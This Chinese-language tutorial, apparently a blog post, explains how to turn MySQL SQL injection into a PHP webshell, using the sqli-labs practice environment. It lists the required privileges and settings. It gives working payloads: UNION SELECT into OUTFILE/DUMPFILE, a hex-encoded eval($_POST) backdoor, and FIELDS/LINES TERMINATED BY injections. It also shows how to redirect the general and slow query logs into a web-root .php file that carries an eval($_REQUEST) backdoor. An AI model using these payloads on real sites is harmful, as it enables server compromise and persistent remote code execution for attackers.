> 文章列表 > SQL注入写入文件方法(获取webshell)

SQL注入写入文件方法(获取webshell)

SQL注入写入文件方法(获取webshell)

数据库写入文件条件

1、当前数据库用户为 root 权限
2、知道当前网站的绝对路径
3、secure_file_priv 的参数必须为空或目录地址
4、PHP的 GPC 为 off状态;(魔术引号,GET,POST,Cookie)
用 sqli-labs 测试
查看当前用户权限
Python sqlmap.py -u http://192.168.0.113/sqli-labs/Less-1/?id=1 --is-dba
写入文件,用到 outfile 和 dumpfile
outfile:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行
dumpfile:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠
3、 不会在末尾追加换行
使用into dumpfile这个函数来顺利写入二进制文件;
当然into outfile函数也可以写入二进制文件,只是最终无法生效罢了(追加的反斜杠会使二进制文件无法生效)
如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制
联合查询尝试写入:
?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'c:/1.php' --+
?id=-1' union select 1,2,'<?php phpinfo();?>' into dumpfile 'c:/1.php' --+
#用十六进制数据
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "绝对路径"
无法联合查询时, 可以使用fields terminated bylines terminated by来写shell
?id=1 into outfile 'C:\\1.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
?id=1 INTO OUTFILE '物理路径' lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE'物理路径'columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE '物理路径' lines startingby (这里是WebShell)#
回显:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL。 并且无法用SQL语句对其进行修改。
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为空时,表示不对MySQL的导入|导出做限制。
指定了具体目录的值时,只能在此目录进行导入导出。
如果是null,表示MySQL不允许导入导出。

可以通过sql语句查看 secure_file_priv的值 ,但是无法通过 sql 语句修改
show variables like '%secure_file_priv%';
必须在 mysql/my.ini 配置文件中修改 secure_file_priv的值。
文件里没有这个参数,就手动加上
再次执行写入就成功了。
————————
那如果在secure_file_priv 的值无法改变的情况下。
有没有其他方法绕过,得以写入文件?

基于日志写shell

适用场景:outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限)
需要能够执行 sql 语句
查看日志配置。
看到有两个参数,一个是否开启,一个日志路径
show variables like '%general%';

开启日志监测,默认关闭
set global general_log = on;
设置日志路径
set global general_log_file = 'C:\\\\phpstudy_pro\\\\WWW\\\\2.php';
执行完上面两条语句后,执行 sql 查询语句
select '<?php phpinfo();?>';
所查询的语句 <?php phpinfo();?> 就会写入到日志记录文件 C:\\phpstudy_pro\\WWW\\2.php 中。
成功写入
————————————

慢查询日志

只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。
#查看服务器默认时间值方式如下:
show global variables like '%long_query_time%';
看到设置为 10s
查询慢日志功能以及慢日志目录
show variables like '%slow_query_log%';
跟前面的正常日志写入一样的操作
开启慢日志功能
set global slow_query_log = 'ON';
设置慢日志路径
set global slow_query_file = 'D:/phpstury/www/shell.php';
写入shell
select '<?php eval($_REQUEST["a"]);?>' or sleep(11);
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的。
而前面的日志记录文件会记录大量数据,可能会影响我们写入的内容。
——————
间接获取webshell,通过sql注入得到网站后台账户密码,加入后台再找文件上传功能点,进行文件上传